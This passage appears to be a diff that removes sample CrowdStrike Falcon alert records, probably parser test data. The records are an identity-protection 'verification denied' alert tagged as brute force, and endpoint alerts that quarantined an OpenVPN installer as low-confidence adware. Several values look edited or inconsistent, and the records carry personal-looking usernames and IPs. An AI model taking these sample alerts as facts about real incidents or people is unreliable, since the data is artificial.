1699034421","process_id":"399748687993","process_start_time":"1699034413","product":"epp","quarantined_files":[{"filename":"\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","id":"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","state":"quarantined"}],"rule_group_id":"1b27b7f123c44e15a13fe7f44801d123","rule_group_name":"Windows Group","rule_instance_created_by":"myuser@mydomain.com","rule_instance_id":"123","rule_instance_name":"INSTANCE-1","rule_instance_version":"1","scenario":"NGAV","severity":30,"sha1":"0000000000000000000000000000000000000000","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","show_in_ui":true,"source_products":["FalconInsight"],"source_vendors":["CrowdStrike"],"status":"new","tactic":"MachineLearning","tactic_id":"CSTA0004","technique":"Adware/PUP","technique_id":"CST0000","timestamp":"2023-11-03T18:00:22.328Z","tree_id":"1931778","tree_root":"38687993","triggering_process_graph_id":"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993","type":"ldt","updated_timestamp":"2023-11-03T19:00:23.985007341Z","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"}
-{"agent_id":"38293534662e48c99f33c61631b3536d","aggregate_id":"aggind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9","cid":"4446934rf3fdb64ec3056ddfb96e","composite_id":"874694c2ff8c43fdb64ef3056ddfb96d:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9","confidence":80,"context_timestamp":"2024-08-16T18:43:44.242Z","crawled_timestamp":"2024-08-16T18:49:02.798354466Z","created_timestamp":"2024-08-16T18:45:02.987127397Z","data_domains":["Identity"],"description":"A user denied a policy identity verification request","display_name":"Identity verification denied","end_time":"2024-08-16T18:43:44.242Z","falcon_host_link":"https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a","id":"ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9","idp_policy_mfa_factor_type":"32769","idp_policy_mfa_provider":"14","idp_policy_rule_id":"1B82F2DE-2A08-49E0-8F85-AD46996F9A65","idp_policy_rule_name":"admin - RDP Access to TIER-0 Servers","name":"IdpPolicyIdentityVerificationDenied","objective":"Gain Access","pattern_id":51143,"poly_id":"AAB3RpTC74xD_bZOwwVt37ltWwicqVJrn1DHb_UVfrn1QAAATiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==","product":"idp","scenario":"suspicious_activity","seconds_to_resolved":0,"seconds_to_triaged":0,"severity":79,"severity_name":"High","show_in_ui":true,"source_account_azure_id":"65ddx-c454-45f9-9034-Fdf34353","source_account_domain":"NET.example.com","source_account_name":"admin.example","source_account_object_sid":"S-14-5424-21-dfaf3-234343-3434-1567733","source_account_sam_account_name":"admin.abcdef","source_account_upn":"admin.abcdef@example.com","source_endpoint_account_object_guid":"E436B3F0-078C-4629-9437-D3E3169147C0","source_endpoint_address_ip4":"81.2.69.144","source_endpoint_host_name":"ABDC454.net.example.com","source_endpoint_ip_address":"81.2.69.144","source_endpoint_sensor_id":"38293534662e48c99f33c61631b3536d","source_products":["Falcon Identity Protection"],"source_vendors":["CrowdStrike"],"start_time":"2024-08-19T18:43:44.242Z","status":"new","tactic":"Credential Access","tactic_id":"TA0006","technique":"Brute Force","technique_id":"T1110","tags":["falcon_complete"],"target_account_name":"HFJFJFFFFFFF$","target_endpoint_account_object_guid":"AAAAAAAA-0000-FFFFF-000000-A302EFCC8E6E","target_endpoint_account_object_sid":"S-1-5-21-746137067-1844237615-1801674531-298236","target_endpoint_host_name":"GH787.net.example.com","target_endpoint_sensor_id":"ac89a368e77a4fa5837b53c7f11fc9e7","timestamp":"2024-08-19T18:44:01.1Z","type":"idp-user-endpoint-app-info","updated_timestamp":"2024-08-19T18:49:02.798344752Z","user_name":"admin.abcdef","activity_browser":"Edge 126.0.0","activity_device":"LAPTOP-AP7299QV","activity_os":"Windows","active_directory_authentication_method":"5","activity_id":"2A8A7C96-0F17-412C-8105-94542784E00D","alert_attributes":"0","location_country_code":"US","location_latitude_as_int":340726,"location_longitude_as_int":-1182610,"model_anomaly_indicators":["ACCOUNT_IMPOSSIBLE_VELOCITY","ENVIRONMENT_UNUSUAL_IP","ENVIRONMENT_UNUSUAL_ISP_DOMAIN","ISP_DATACENTER_CLASSIFICATION"],"ldap_search_query_attack":"16","protocol_anomaly_classification":"1","source_account_object_guid":"9F2CE16C-4A78-42E6-8565-87147707EE79","source_endpoint_account_object_sid":"S-1-5-21-111111111-2222222-1417001333-101158","source_endpoint_ip_reputation":"128","source_ip_isp_classification":"9","source_ip_isp_domain":"sioru.com","target_domain_controller_host_name":"APINTAL19DC01","target_domain_controller_object_guid":"45A24DB7-6CD3-48C5-974F-A97159E7E2B2","target_domain_controller_object_sid":"S-1-5-21-111111111-2222222-1417001333-85512","target_service_access_identifier":"HOST/admin.example.com"}
-{"aggregate_id":"aggind:4444934rf3fdb64ec2059dmmb96e:5876E98M-F91K-48AW-8FFC-1191C663A1E9","agent_id":"58293534772e48c99f33c61631b3536d","cid":"4446934rf3fdb64ec3056ddfb96e","context_timestamp":"2024-08-19T18:43:44.242Z","composite_id":"874594c2ff8c23fdf64ef3086ddfb03e:ind:4441934rf3mmb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9","crawled_timestamp":"2024-08-19T18:49:02.798354466Z","created_timestamp":"2024-08-19T18:45:02.987127397Z","data_domains":["Identity"],"description":"Auserdeniedapolicyidentityverificationrequest","display_name":"Identityverificationdenied","end_time":"2024-08-19T18:43:44.242Z","falcon_host_link":"https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a","id":"ind:4446934rf3fdb64ec3056ddfb96e:87934F-M00B-48CC-0AAC-dfafd3429","idp_policy_mfa_factor_type":"42669","idp_policy_mfa_provider":"11","idp_policy_rule_id":"123324-343-4dfa9E0-8F85-dfaa3242","idp_policy_rule_name":"admin-RDPAccesstoTIER-0Servers","name":"IdpPolicyIdentityVerificationDenied","objective":"GainAccess","pattern_id":45897,"poly_id":"MJdfafdB3RpTC74xD_bZOwwVt37erewrewdWwicqVJrn1DHb_UVfrn1QTiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==","product":"idp","scenario":"suspicious_activity","seconds_to_resolved":0,"seconds_to_triaged":0,"severity":79,"severity_name":"Medium","show_in_ui":true,"source_account_azure_id":"65ddx-c454-324d-9034-Fdf34353","source_account_domain":"BCD.example.com","source_account_name":"admin.example","source_account_object_sid":"S-14-5424-21-dfaf3-234343-3434-1117733","source_account_sam_account_name":"admin.abcdef","source_account_upn":"admin.abcdef@example.com","source_endpoint_account_object_guid":"FDHJJ343-098C-4629-9437-DD3424GHJ","source_endpoint_address_ip4":"81.2.69.144","source_endpoint_host_name":"ABDC454.net.example.com","source_endpoint_ip_address":"81.2.69.144","source_endpoint_sensor_id":"38293523261gh48c99ffd234c6190123536e","source_products":["FalconIdentityProtection"],"source_vendors":["CrowdStrike"],"start_time":"2024-08-19T18:43:44.242Z","status":"new","tactic":"CredentialAccess","tactic_id":"TA0006","technique":"BruteForce","technique_id":"T1110","tags":["falcon_complete"],"target_account_name":"HFJFJFFFFFFF$","target_endpoint_account_object_guid":"AAAAAAAA-0000-FFFFF-000000-A302EFCC8M4536","target_endpoint_account_object_sid":"S-1-5-21-HG43242JJ-1844237615-18dfa1674531-298236","target_endpoint_host_name":"GH787.abc.example.com","target_endpoint_sensor_id":"afdsasf3423432nndv3432v","timestamp":"2024-08-19T18:44:01.1Z","type":"idp-user-endpoint-app-info","updated_timestamp":"2024-08-19T18:49:02.798344752Z","user_name":"admin.abcdef","activity_browser":"Edge126.0.0","activity_device":"LAPTOP-ADFVEJM234V","activity_os":"Windows","active_directory_authentication_method":"4","activity_id":"3A7H7C00-FFF2344-23FFFF-9199905-91245754E10099D","alert_attributes":"0","location_country_code":"US","location_latitude_as_int":320316,"location_longitude_as_int":-12729080,"model_anomaly_indicators":["ACCOUNT_IMPOSSIBLE_VELOCITY","ENVIRONMENT_UNUSUAL_IP","ENVIRONMENT_UNUSUAL_ISP_DOMAIN","ISP_DATACENTER_CLASSIFICATION"],"ldap_search_query_attack":"16","protocol_anomaly_classification":"1","source_account_object_guid":"78HF9842-HGG5-324F-9565-GJD47324","source_endpoint_account_object_sid":"S-1-4-21-111111111-2222222-14171121333-1045999","source_endpoint_ip_reputation":"118","source_ip_isp_classification":"8","source_ip_isp_domain":"abc.com","target_domain_controller_host_name":"GHPOTAL12578","target_domain_controller_object_guid":"59B24AA7-4GH8-f7H0-994F-B90159E7M2K1","target_domain_controller_object_sid":"S-2-8-21-333333-2222222-3431-95511","target_service_access_identifier":"HOST/root.demo.com"}
-{"agent_id":"2ce412d17b334ad4adc8c1c54dbfec4b","aggregate_id":"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","alleged_filetype":"exe","cid":"92012896127c4a948236ba7601b886b0","cloud_indicator":"false","cmdline":"\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"","composite_id":"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","confidence":10,"context_timestamp":"2023-11-03T18:00:31Z","control_graph_id":"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778","crawl_edge_ids":{"Sensor":["KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2J<d2T/ji6R&RIHe-tZSkP*q?HW;:leq.:kk)>IVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N","KZcZA__;?\"cmott@m_k)MSZ^+C?.cg<Lga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@<W`alY1K_h%QDBBF;_e7S!!*'!","KZd)iK2;s\\ckQl_P*d=Mo?^a7/JKc\\*L48169!7I5;0\\<H^hNG\"ZQ3#U3\"eo<>92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';e<OHh9AmlT?5<gGqK:*L99kat+P)eZ$HR\"Ql@Q!!!$!rr","N6=Ks_B9Bncmur)?\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E<G5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb<6Bqp[DZh#I(jObGkjJJaMf\\:#mb;BM\\L[g!\\F*M!!*'!","N6B%O`'=_7d#%u&d[+LTNDs<3307?8n=GrFI:4YYGCL,cIt-Tuj!&<6:3RbC`uNjL#gW&=)E`4^/'fp*.bFX@p_$,R6.\"=lV*T*5Vf`c.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N","N6B%s!\\k)ed$F6>a%iM\"<FTSe/eH8M:<9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\"H^sF$r7gDPf6&CHpVKO3<DgK9,Y/e@V\"b&m!<<'","N6CU&`%VT\"d$=67=h\\I)/BJH:8-lS!.%\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.&eM<Qer>__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!","N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr","N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'","N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_<r/JG0TCEQ!Ug(be3)&R2JnX+RSqorgC-NCjf6XATBWX(5<L1J1DV>44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N"]},"crawl_vertex_ids":{"Sensor":["aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600","mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135","pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993","quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"]},"crawled_timestamp":"2023-11-03T19:00:23.985020992Z","created_timestamp":"2023-11-03T18:01:23.995794943Z","data_domains":["Endpoint"],"description":"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.","device":{"agent_load_flags":"0","agent_local_time":"2023-10-12T03:45:57.753Z","agent_version":"7.04.17605.0","bios_manufacturer":"ABC","bios_version":"F8CN42WW(V2.05)","cid":"92012896127c4a948236ba7601b886b0","config_id_base":"65994763","config_id_build":"17605","config_id_platform":"3","device_id":"2ce412d17b334ad4adc8c1c54dbfec4b","external_ip":"81.2.69.142","first_seen":"2023-04-07T09:36:36Z","groups":["18704e21288243b58e4c76266d38caaf"],"hostinfo":{"active_directory_dn_display":["WinComputers","WinComputers\\ABC"],"domain":"ABC.LOCAL"},"hostname":"ABC709-1175","last_seen":"2023-11-03T17:51:42Z","local_ip":"81.2.69.142","mac_address":"ab-21-48-61-05-b2","machine_domain":"ABC.LOCAL","major_version":"10","minor_version":"0","modified_timestamp":"2023-11-03T17:53:43Z","os_version":"Windows11","ou":["ABC","WinComputers"],"platform_id":"0","platform_name":"Windows","pod_labels":null,"product_type":"1","product_type_desc":"Workstation","site_name":"Default-First-Site-Name","status":"normal","system_manufacturer":"LENOVO","system_product_name":"20VE"},"falcon_host_link":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","filename":"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","filepath":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","grandparent_details":{"cmdline":"C:\\Windows\\system32\\userinit.exe","filename":"userinit.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe","local_process_id":"4328","md5":"b07f77fd3f9828b2c9d61f8a36609741","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135","process_id":"392734873135","sha256":"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","timestamp":"2023-10-30T16:49:19Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"yuvraj.mahajan"},"id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","indicator_id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","ioc_context":[{"ioc_description":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","ioc_source":"library_load","ioc_type":"hash_sha256","ioc_value":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","type":"module"}],"ioc_values":[],"local_process_id":"17076","logon_domain":"ABSYS","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","name":"PrewittPupAdwareSensorDetect-Lowest","objective":"FalconDetectionMethod","parent_details":{"cmdline":"C:\\WINDOWS\\Explorer.EXE","filename":"explorer.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\explorer.exe","local_process_id":"1040","md5":"8cc3fcdd7d52d2d5221303c213e044ae","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","process_id":"392736520876","sha256":"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","timestamp":"2023-11-03T18:00:32Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"},"parent_process_id":"392736520876","pattern_disposition":2176,"pattern_disposition_description":"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.","pattern_disposition_details":{"blocking_unsupported_or_disabled":false,"bootup_safeguard_enabled":false,"critical_process_disabled":false,"detect":false,"fs_operation_blocked":false,"handle_operation_downgraded":false,"inddet_mask":false,"indicator":false,"kill_action_failed":false,"kill_parent":false,"kill_process":false,"kill_subprocess":false,"operation_blocked":false,"policy_disabled":false,"process_blocked":true,"quarantine_file":true,"quarantine_machine":false,"registry_operation_blocked":false,"rooting":false,"sensor_only":false,"suspend_parent":false,"suspend_process":false},"pattern_id":5761,"platform":"Windows","poly_id":"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==","process_end_time":"1699034421","process_id":"399748687993","process_start_time":"1699034413","product":"epp","quarantined_files":[{"filename":"\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","id":"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","state":"quarantined"}],"scenario":"NGAV","severity":30,"sha1":"0000000000000000000000000000000000000000","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","show_in_ui":true,"source_products":["FalconInsight"],"source_vendors":["CrowdStrike"],"status":"new","tactic":"MachineLearning","tactic_id":"CSTA0004","technique":"Adware/PUP","technique_id":"CST0000","timestamp":"2023-11-03T18:00:22.328Z","tree_id":"1931778","tree_root":"38687993","triggering_process_graph_id":"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993","type":"ldt","updated_timestamp":"2023-11-03T19:00:23.985007341Z","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"}
-{"agent_id":"2ce412d17b334ad4adc8c1c54dbfec4b","aggregate_id":"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","alleged_filetype":"exe","cid":"92012896127c4a948236ba7601b886b0","cloud_indicator":"false","cmdline":"\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"","composite_id":"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","confidence":10,"context_timestamp":"2023-11-03T18:00:31Z","control_graph_id":"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778","crawl_edge_ids":{"Sensor":["KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2J<d2T/ji6R&RIHe-tZSkP*q?HW;:leq.:kk)>IVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N","KZcZA__;?\"cmott@m_k)MSZ^+C?.cg<Lga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@<W`alY1K_h%QDBBF;_e7S!!*'!","KZd)iK2;s\\ckQl_P*d=Mo?^a7/JKc\\*L48169!7I5;0\\<H^hNG\"ZQ3#U3\"eo<>92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';e<OHh9AmlT?5<gGqK:*L99kat+P)eZ$HR\"Ql@Q!!!$!rr","N6=Ks_B9Bncmur)?\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E<G5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb<6Bqp[DZh#I(jObGkjJJaMf\\:#mb;BM\\L[g!\\F*M!!*'!","N6B%O`'=_7d#%u&d[+LTNDs<3307?8n=GrFI:4YYGCL,cIt-Tuj!&<6:3RbC`uNjL#gW&=)E`4^/'fp*.bFX@p_$,R6.\"=lV*T*5Vf`c.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N","N6B%s!\\k)ed$F6>a%iM\"<FTSe/eH8M:<9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\"H^sF$r7gDPf6&CHpVKO3<DgK9,Y/e@V\"b&m!<<'","N6CU&`%VT\"d$=67=h\\I)/BJH:8-lS!.%\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.&eM<Qer>__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!","N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr","N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'","N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_<r/JG0TCEQ!Ug(be3)&R2JnX+RSqorgC-NCjf6XATBWX(5<L1J1DV>44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N"]},"crawl_vertex_ids":{"Sensor":["aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600","mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135","pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993","quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"]},"crawled_timestamp":"2023-11-03T19:00:23.985020992Z","created_timestamp":"2023-11-03T18:01:23.995794943Z","data_domains":["Endpoint"],"description":"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.","device":{"agent_load_flags":"0","agent_local_time":"2023-10-12T03:45:57.753Z","agent_version":"7.04.17605.0","bios_manufacturer":"ABC","bios_version":"F8CN42WW(V2.05)","cid":"92012896127c4a948236ba7601b886b0","config_id_base":"65994763","config_id_build":"17605","config_id_platform":"3","device_id":"2ce412d17b334ad4adc8c1c54dbfec4b","external_ip":"81.2.69.142","first_seen":"2023-04-07T09:36:36Z","groups":["18704e21288243b58e4c76266d38caaf"],"hostinfo":{"active_directory_dn_display":["WinComputers","WinComputers\\ABC"],"domain":"ABC.LOCAL"},"hostname":"ABC709-1175","last_seen":"2023-11-03T17:51:42Z","local_ip":"81.2.69.142","mac_address":"ab-21-48-61-05-b2","machine_domain":"ABC.LOCAL","major_version":"10","minor_version":"0","modified_timestamp":"2023-11-03T17:53:43Z","os_version":"Windows11","ou":["ABC","WinComputers"],"platform_id":"0","platform_name":"Windows","pod_labels":null,"product_type":"1","product_type_desc":"Workstation","site_name":"Default-First-Site-Name","status":"normal","system_manufacturer":"LENOVO","system_product_name":"20VE"},"falcon_host_link":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","filename":"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","filepath":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","grandparent_details":{"cmdline":"C:\\Windows\\system32\\userinit.exe","filename":"userinit.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe","local_process_id":"4328","md5":"b07f77fd3f9828b2c9d61f8a36609741","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135","process_id":"392734873135","sha256":"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","timestamp":"2023-10-30T16:49:19Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"yuvraj.mahajan"},"id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","indicator_id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","ioc_context":[{"ioc_description":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","ioc_source":"library_load","ioc_type":"hash_sha256","ioc_value":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","sha256":"b26a6791b72753d2317efd5e1363d93f